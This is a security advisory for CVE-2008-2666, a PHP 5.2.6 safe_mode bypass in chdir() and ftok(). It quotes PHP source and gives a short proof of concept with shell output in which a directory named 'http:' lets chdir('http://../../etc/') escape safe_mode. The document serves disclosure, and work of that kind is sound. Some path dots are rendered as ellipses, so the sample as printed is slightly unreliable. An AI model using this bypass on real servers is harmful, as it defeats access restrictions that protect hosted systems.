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[PHP 5.2.6 chdir(),ftok() (standard ext) safe_mode bypass ]
Author: Maksymilian Arciemowicz (cXIb8O3)
securityreason.com
Date:
SecurityReason Research
SecurityAlert Id: 55
CVE: CVE-2008-2666
CWE: CWE-264
SecurityRisk: Medium
Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/55
Vendor: http://www.php.net
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl
with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web
developers to write dynamically generated pages quickly.
chdir ? Change directory
SYNOPSIS:
bool chdir ( string $directory )
http://pl.php.net/manual/en/function.chdir.php
ftok ? Convert a pathname and a project identifier to a System V IPC key
SYNOPSIS:
int ftok ( string $pathname , string $proj )
http://pl.php.net/manual/en/function.ftok.php
!!! WARNING !!!
IT IS POSSIBLE TO EXPLOIT MORE FUNCTIONS WITH http: PREFIX. SECURITYREASON WILL NOT LIST ALL
VULNERABLE FUNCTIONS
PHP_FUNCTION(chdir)
{
char *str;
int ret, str_len;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &str, &str_len) == FAILURE) {
RETURN_FALSE;
}
if ((PG(safe_mode) && !php_checkuid(str, NULL, CHECKUID_CHECK_FILE_AND_DIR)) ||
php_check_open_basedir(str TSRMLS_CC)) {
RETURN_FALSE;
}
ret = VCWD_CHDIR(str);
if (ret != 0) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s (errno %d)", strerror(errno),
errno);
RETURN_FALSE;
}
RETURN_TRUE;
}
str is beeing checked by safe_mode
example:
Warning: chdir(): SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to
access / owned by uid 0 in /www/mb/mb.php on line 8
in current directory, we should create subdir "http:". => it is possible to create
chdir("http://…/…/…/…/…/…/")
and we are in /
Why?
TRUE==((PG(safe_mode) && !php_checkuid(str, NULL, CHECKUID_CHECK_FILE_AND_DIR)) ||
php_check_open_basedir(str TSRMLS_CC)))
for
str="http://…/…/…/…/…/…/"
safe_mode will ignore all paths with http://
that same situation with ftok() function (and more)
Warning: chdir(): SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to
access /etc/ owned by uid 0 in /www/wufff.php on line 3
/www
cxib#
—/EXAMPLE1—
—EXAMPLE2—
cxib# ls -la /www/wufff.php
-rw-r–r-- 1 www www 74 Jun 17 17:13 /www/wufff.php
cxib# ls -la /www/http:
total 8
drwxr-xr-x 2 www www 512 Jun 17 17:12 .
drwxr-xr-x 19 www www 4608 Jun 17 17:13 …
cxib# cat /www/wufff.php
<?
echo getcwd()."\n";
chdir("http://…/…/etc/");
echo getcwd()."\n";
?>
cxib# php /www/wufff.php
/www
/etc
cxib#
—/EXAMPLE2—
!!! WARNING !!!
IT IS POSSIBLE TO EXPLOIT MORE FUNCTIONS WITH http: PREFIX. SECURITYREASON WILL NOT LISTS ALL
VULNERABLE FUNCTIONS
— 2. How to fix —
Do not use safe_mode as a main safety
— 3. Greets —
sp3x Infospec schain p_e_a Chujwamwdupe
— 4. Contact —
Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl
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